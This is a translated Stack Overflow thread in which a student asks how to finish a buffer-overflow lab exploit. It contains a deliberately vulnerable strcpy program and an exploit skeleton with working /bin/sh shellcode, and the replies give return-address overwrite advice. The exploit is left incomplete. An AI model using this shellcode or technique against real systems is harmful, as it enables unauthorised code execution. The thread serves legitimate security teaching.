利用缓冲区溢出漏洞

11

我正在做一个项目,需要编写一个C程序来利用给定程序的漏洞。

这里是有漏洞的C程序:

#include <stdlib.h>
#include <stdio.h>

int bof(char *str)
{
  char buffer[12];
  strcpy(buffer, str);
  return 1;
}

int main(int argc, char **argv)
{
  char str[517];
  FILE *badfile;
  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 517, badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}

这是攻击代码:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"  /* xorl  %eax,%eax   */
"\x50"      /* pushl %eax        */
"\x68""//sh"/* pushl $0x68732f2f */
"\x68""/bin"/* pushl $0x6e69622f */
"\x89\xe3"  /* movl  %esp,%ebx   */
"\x50"      /* pushl %eax        */
"\x53"      /* pushl %ebx        */
"\x89\xe1"  /* movl  %esp,%ecx   */
"\x99"      /* cdql              */
"\xb0\x0b"  /* movb  $0x0b,%al   */
"\xcd\x80"  /* int   $0x80       */
;

void main(int argc, char **argv)
{
   char buffer[517];
   FILE *badfile;

   /* Initialize buffer with 0x90 (NOP instruction) */
   memset(&buffer, 0x90, 517);

   /* Fill the buffer with appropriate contents here */

   /* Save the contents to the file "badfile" */
   badfile = fopen("./badfile", "w");
   fwrite(buffer, 517, 1, badfile);
   fclose(badfile);
}

因此,在保存到“badfile”之前,我需要填充缓冲区以适当的内容。我已经阅读了很多关于缓冲区溢出的文章,我想我需要修改易受攻击程序的返回地址。但我真的不知道应该如何做。 我应该先找到原始的返回地址吗?还是有其他方法可以做到这一点? 此外,对于如何实现缓冲区,您有任何想法/建议吗?


1
我想发一下该项目的链接。 - user541686
1
你需要找出缓冲区的偏移量,这将导致覆盖保存的返回指针,然后调整该偏移处的值,使其指向一个指令,该指令将执行缓冲区的其余部分(如jmp esp)。 - Niklas B.
2
如果这个项目是为了学校,请明确说明。在SO上的问题应该更加关注你自己的代码而不是这个问题(详情请参见链接);如果你甚至不确定从哪里开始,最好向你的老师或TA提问。那是他们应该在课堂上或你的材料中涵盖的内容。 - outis
1
@outis:我觉得我们可以相信提问者,并不一定认为这是为了完成作业...我自己几周前也做过这个实验,但和任何作业、课程或分数无关(尽管与学校相关)。 - user541686
好的,谢谢提醒,但我没有意图隐藏,这是为了学校。我尝试过类似这样的东西;#define offset 1500unsigned long get_ESP(void){ asm("movl %ESP,%EAX"); } buffer[9] = addr & 0x000000ff; buffer[10] = addr & 0x0000ff00; buffer[11] = addr & 0x00ff0000; buffer[12] = addr & 0xff000000; 但它没有起作用。 - josh
显示剩余4条评论
1个回答

1

我建议阅读Metasploit Unleashed上的页面,从这个开始。您可以浏览相关的Ruby模块,了解实际发生的情况,并将其移植到C语言中。虽然不是一件简单的事情,但它演示了所需的方法。

另外,正如其他人建议的那样,使用调试器来弄清楚发生了什么非常重要。获取一个像cgdb, ddd, pyclewn, 或者 gdb-mode这样的好调试器会让生活变得更加轻松。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接